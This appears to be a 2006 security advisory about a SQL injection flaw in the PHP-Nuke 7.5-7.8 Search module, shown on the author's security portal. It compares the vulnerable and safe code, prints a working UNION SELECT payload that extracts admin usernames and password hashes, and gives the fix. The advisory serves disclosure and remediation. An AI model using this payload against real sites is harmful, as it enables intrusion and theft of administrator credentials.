Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 660
Members: 0
Total: 660
PacketStorm News
·301 Moved Permanently

read more...
[waraxe-2006-SA#046] - Critical sql injection in phpNuke 7.5-7.8





Author: Janek Vind "waraxe"
Date: 19. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-46.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 7.5 - 7.8

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and
Internet. The Administrator has total control of his web site, registered users, and
he will have in the hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This particular advisory will address critical sql injection case in "Search" module.
Versions 7.5 - 7.8 are affected, older versions contain different code implementation
and are not affected by bug. Newest version 7.9 is not vulnerable too.



Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's start by looking at "modules/Search/index.php" code in older nuke versions, in this
example, 7.1 :

----------------[ from source code ]------------------

$query = addslashes($query);

if ($type=="stories" OR !$type) {

if ($category > 0) {
$categ = "AND catid=$category ";
} elseif ($category == 0) {
$categ = "";
}
$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors
a where s.aid=a.aid $queryalang $categ";
if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE
'%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
if ($author != "") $q .= "AND s.aid='$author' ";

----------------[ /from source code ]-----------------

As we can see, "addslashes()" is used against "$query" variable, so sql injection is not
possible. Now let's peek at the same code fragment in newer phpnuke version, in this
specific case - 7.5 :


----------------[ from source code ]------------------

$query = stripslashes(check_html($query, "nohtml"));

if ($type=="stories" OR !$type) {

if ($category > 0) {
$categ = "AND catid='$category' ";
} else {
$categ = "";
}
$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors
a where s.aid=a.aid $queryalang $categ";
if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE
'%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
if ($author != "") $q .= "AND s.aid='$author' ";
----------------[ /from source code ]-----------------

Any difference? Only the first line:

$query = stripslashes(check_html($query, "nohtml"));

Well, i really don't know, what was thinking the person, who changed this little code
snippet. But the truth is, that very big hole to phpnuke installation is opened and it exists
in versions 7.5, 7.6, 7.7 and 7.8 ;)

So - is this exploitable? Yes, if we have mysql version 4.x with UNION support, if we can avoid
potential anti-sql-injection filters/traps/ids/ips and if sql table name prefix is not changed.

Example proof of concept exploit? Here it is:

[------ real life exploit ------]

p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

[----- /real life exploit ------]

For exploiting just enter this string to search field in "modules.php?name=Search" page:

http://www.waraxe.us/~kama/wsa-46-01.png

and if it works, you will see usernames and password hashes of ALL admins ;)

http://www.waraxe.us/~kama/wsa-46-02.png


See ya s00n and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download 7.9 version. Or patch manually that flawed codeline.


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2006-02-19 (25109 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
Cyko  Cyko - 375
tsabitah  tsabitah - 328
y3dips  y3dips - 281
SecurityFocus
Currently there is a problem with headlines from this site
alexa



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.141 Seconds